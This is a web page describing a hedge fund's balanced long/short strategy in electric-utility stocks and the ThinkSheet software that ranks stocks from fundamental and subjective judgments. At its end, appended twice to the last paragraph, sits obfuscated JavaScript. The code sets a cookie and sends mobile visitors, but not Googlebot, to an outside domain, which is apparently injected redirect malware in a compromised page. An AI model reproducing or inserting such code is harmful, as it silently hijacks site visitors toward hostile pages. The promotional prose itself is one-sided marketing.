Electric Utilities

TST Equities Systems – Electric Utilities

This application was co-developed with Whelan Investment Management. Whelan is owned by Kevin Flannery, the former head equity trader at Bear Stearns. The following has been extracted from the Information Memorandum for his hedge fund.

Model Framework

WhelanFramework2

Definition

Whelan Balanced Fund is an unleveraged, low Beta, high yield solution to investors needs for competitive yields on the most liquid and conservative portion of their portfolios.

Overview

Whelan Balanced Fund is designed to earn the maximum prudent current return for institutional and high net worth individual investors by employing a balanced, non-leveraged investment strategy in a near-homogeneous industry: electric utilities. The investment strategy is to identify mispricings in electric utilities stocks using a thought process-based system co-developed by Whelan and ThinkSheet, Inc. that implements Whelan’s proprietary investment technique.

Balanced Investment Technique

The fund achieves high yield for the portfolio by realizing profits on multiple small mispricings several times per year, as opposed to macro market judgments. Whelan identifies small mispricings for its hedged long/short positions by using ThinkSheetTM For Equities to screen, rank and weight fundamental, technical and subjective analysis from both internal and external Street sources and then reacts to them before other investors know they exist.

Investment Technique

The fund employs two principal techniques to implement its investment philosophy – a fundamental valuation model and a technical pricing model. The fundamental pricing model ranks each of the companies according to a number of fundamental criteria, such as probable earnings power and return on equity, management strength, rate case developments, public service commission attitudes, dividend payout ratios and dividend growth. The companies at the top and bottom of the ranking are thus candidates for purchase and short sale, respectively.

As portfolio candidates are continuously ranked on the basis of the above criteria, the technical pricing model assists the portfolio strategists in determining the price levels at which to purchase or sell stocks. The pricing model takes into consideration, among other things, the historical trading range of a stock relative to fundamentals and its price relative to all other stocks in the industry.

The result will be a balanced portfolio that seeks to minimize the risk of the market as a whole, and that has a relatively low valuation volatility (Beta), similar to that of a short-term corporate bond. Profits will come from long positions in attractive stocks appreciating more than short positions in a rising market, and falling less than short positions in a declining market, and from buying and selling stocks that are temporarily undervalued or overvalued relative to their predicted norms.

 ThinkSheetTM

The manager manages the stock selection process more efficiently using ThinkSheetTM. It uses ThinkSheetTM to screen all available quantitative and qualitative data and to evaluate selective subjective data to quickly and efficiently identify mispricings and pricing aberrations in the marketplace. The manager filters the massive amounts of data it receives on a daily basis into a model that mimics its investment technique for the most efficient analysis possible of its data.

The model filters all of its chosen data, including raw data feeds (S&P Comstock, First Call and FactSet), and its subjective judgments, such as market momentum and the reliability of analysts’ earnings estimates.

 ThinkSheetTM Advantages

ThinkSheetTM provides Whelan with several other advantages: It:

  • stores all data in organized form in one place
  • automates multiple scenarios for market conditions & analyst reliabilty
  • analyzes subjective judgments in natural language
  • ranks the best stocks to buy and sell.

Whelan enjoys the best of both worlds because (1) its investment technique and qualitative judgments determine the results and (2) the model filters the data for it – enabling it to take full advantage of technology’s extraordinary ability to store, organize, compute and communicate data. Whelan will thus achieve high yields for the portfolio by realizing profits on multiple small mispricings in its hedged long/short positions several times per year, as opposed to macro market judgments.

ThinkSheetTM enables Whelan to:

  • cover a far larger universe of stocks
  • identify more mispricings
  • react to the greatest mispricings before other investors know they exist

Relationship

Whelan managers the fund with support from ThinkSheet, Inc. ThinkSheet, Inc. is a thought process software and services company that provides thought process-based systems for investment professionals. ThinkSheetTM is the first company specializing in thought processes that is driven by investment professionals who know the business and the thought process development process.

ThinkSheet, Inc.’s principal product is ThinkSheetTM for Equities, a system for ranking stocks that mimics equity professionals personal investment styles and filters their data and judgments for them. ThinkSheetTM‘s AI technology enables the models to think and communicate like Whelan. ThinkSheet most important feature is its ability to understand and analyze Whelan’s subjective judgments expressed in natural language.

For example, it understands the difference between market conditions that Whelan describes as “bullish” or “bearish” and analysts it describes as “guru” or “kiss of death”. (Traditional Wall Street analytics do not have this capability).

ThinkSheetTM provides Whelan with the “missing link” for modeling the complete analysis of data for its portfolio: the qualitative component. It is a “white box” for active managers like Whelan in contrast to a “black box” for quants. It analyzes Whelan’s subjective judgments and numbers rather than numbers only and displays the reasons for the answer in a way that Whelan can readily understand them. It also instantaneously recalculates the overall effect of any changes in Whelan’s subjective judgments.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}